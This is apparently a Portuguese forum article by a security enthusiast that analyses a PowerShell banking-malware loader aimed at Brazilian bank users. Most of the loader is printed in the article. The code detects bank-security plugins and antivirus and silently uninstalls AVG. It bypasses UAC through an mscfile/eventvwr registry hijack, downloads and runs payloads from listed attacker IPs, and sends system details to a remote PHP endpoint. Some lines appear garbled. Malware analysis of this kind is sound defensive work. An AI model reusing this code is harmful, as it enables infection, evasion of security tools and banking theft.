Desvendando código malicioso no fórum Viva o Linux

Ao analisar o script malicioso exposto, meu parecer foi o seguinte, o código malicioso encontra-se realmente no objeto DEGRADE. Este inclui um log no sistema dizendo para ignorar quaisquer logs posteriores, pois o Windows está em pleno funcionamento.

Windows working normally, ignore this log:

(Windows working normally, ignore this log -join '') >> "$env:APPDATA\$(Microsoft\Windows\Templates\log.txt -join '')"

Após, ele faz uma varredura em todos os programas gbplugin do usuário, em diversos bancos diferentes (por exemplo '001' Banco do Brasil e '104' CEF), efetuando tentativa de desinstalação.

$gbPath = Join-Path $dir (GbPlugin -join '');
		$paths = @{(Join-Path $gbPath gbiehcef.dll) = "104";(Join-Path $gbPath gbiehscd.dll) = "751";(Join-Path $gbPath gbieh.dll) = "001";(Join-Path $gbPath gbiehuni.dll) = "341";(Join-Path ($env:ProgramFiles) "\AppBrad\NetExpress50.exe") = "APP237";(Join-Path ($env:ProgramFiles) Trusteer) = "Trust";(Join-Path ($env:LOCALAPPDATA) "\Aplicativo Itau\itauaplicativo.exe") = "APP341";};
		foreach ($path in $paths.GetEnumerator()) { if(Test-Path $($path.Name) ){ $V1 += $($path.Value) + ","}};
		$avs = (Get-WmiObject -Namespace (root\SecurityCenter2 -join '') -QUERY (SELECT DisplayName FROM AntiVirusProduct -join ''));
		foreach ($av1 in $avs) { $av += $av1.displayName + ","}; 
		if($av -like "*avg*"){
			Start-Process -WindowStyle Hidden powershell.exe -ArgumentList -NoP -NonI -W Hidden -E  $command = 'C:\Windows\System32\cmd.exe /c powershell -NoP -NonI -W Hidden -E "$uninstall32s = gci "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall" | foreach { gp $_.PSPath } | ? { $_ -like "*AVG*" } | select UninstallString;
$uninstall64s = gci "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" | foreach { gp $_.PSPath } | ? { $_ -like "*AVG*" } | select UninstallString;

foreach($uninstall64 in $uninstall64s) {
$uninstall64 = $uninstall64.UninstallString -Replace "MsiExec.exe","" -Replace "/I","" -Replace "/X","";
$uninstall64 = $uninstall64.Trim();
if($uninstall64 -like "*Program Files*"){}else{start-process "msiexec.exe" -args "/x $uninstall64  /qn /norestart" -Wait }};
foreach($uninstall32 in $uninstall32s) {
$uninstall32 = $uninstall32.UninstallString -Replace "MsiExec.exe","" -Replace "/I","" -Replace "/X","";
$uninstall32 = $uninstall32.Trim();
if($uninstall32 -like "*Program Files*"){}else{start-process "msiexec.exe" -args "/x $uninstall32  /qn /norestart" -Wait }};"';

Em seguida ele põe o AVG em hibernação e tenta instalar um .cab dele (COF267F9415EF3518C.cab) para o eventviewer e remove algumas chaves no registro do windows. Executa um arquivo, de uma url 130.211.157.13/artw/arquivo e também faz uma requisição http via get para outro link.

if (Test-Path $mscfilePath) {Remove-Item $mscfilePath -Recurse -Force}; -join'' -wait;
			while((get-service -Name (avgwd -join '')).Status -eq (Running -join '')) {Start-Sleep -Seconds 10;}
		}
		$ps = (Get-ChildItem (HKLM:\SOFTWARE\Microsoft\NET Framework Setup\NDP -join '') -recurse | Get-ItemProperty -name Version,Release -EA 0 | Where { $_.PSChildName -match '^(?!S)\p{L}'} | Select Version | Sort-Object Version -Descending)[0].Version;
		if(Test-Path $(Join-Path $dir (WinRAR -join ''))){
			$wr = (.:Winrar-join '')
		}
		if($v1) {
			$durl = "http://130.211.157.13/artw/COF267F9415EF3518C.cab"
			$ll = "COF267F9415EF3518C.cab"
			$output = "$env:APPDATA\$(Microsoft\Windows\Templates\ -join '')" + $ll;
			(New-Object System.Net.WebClient).DownloadFile($durl, $output);
			Start-Process -WindowStyle Hidden  powershell.exe -ArgumentList "-NoP -NonI -W Hidden -E 	$dd = 'COF267F9415EF3518C.cab,C3F5EBEC1';
																										$command = (C:\Windows\System32\cmd.exe /c powershell.exe rundll32 $env:APPDATA\Microsoft\Windows\Templates\ -join '') + $dd;
																										$path = (HKCU:\Software\Classes\mscfile\shell\open\command -join '');
																										if ((Get-ItemProperty -Path $path -Name ((Default) -join '') -ErrorAction SilentlyContinue) -eq $null){	
																										New-Item $path -Force |	 New-ItemProperty -Name ((Default) -join '') -Value $command -PropertyType string -Force | Out-Null }
																										else{exit};
																										$eventvwrPath = Join-Path -Path ([Environment]::GetFolderPath((System -join ''))) -ChildPath (eventvwr.exe -join '');
																										Start-Process -FilePath $eventvwrPath;
																										Start-Sleep -Seconds 5;
																										$mscfilePath = (HKCU:\Software\Classes\mscfile -join ''); 
																										if (Test-Path $mscfilePath) {Remove-Item $mscfilePath -Recurse -Force};
																										";
		}
		$durl = "http://130.211.157.13/artw/arquivo"
		Start-Process -WindowStyle Hidden powershell.exe -ArgumentList "-NoP -NonI -W Hidden iex(New-Object Net.WebClient).DownloadString('$durl')"
		$tudo = (Get-WmiObject -Namespace (root\CIMV2-join '') -QUERY (SELECT * FROM Win32_OperatingSystem -join ''));
		$w = [System.Net.WebRequest]::Create("http://31.220.57.180/frontile/LIMITED/LetsGo.php" + "?A=A&Sytem=" + $tudo.CSName + "::" + $tudo.Caption + ".:" + $tudo.CSDVersion +"("+$tudo.OsArchitecture+")"+ "ps.:" + $ps + $wr + "" +"&qual=" + $V1 + "&ele=" + $av).getResponse();
	}
}

Esta análise possibilitou encontrar diversos IPs que o atacante utilizou e também expos o real interesse do atacante, demonstrando os métodos utilizados e a técnica empregada.

Espero que o artigo seja de valia para os amigos.

Um abraço,
André Milke dos Santos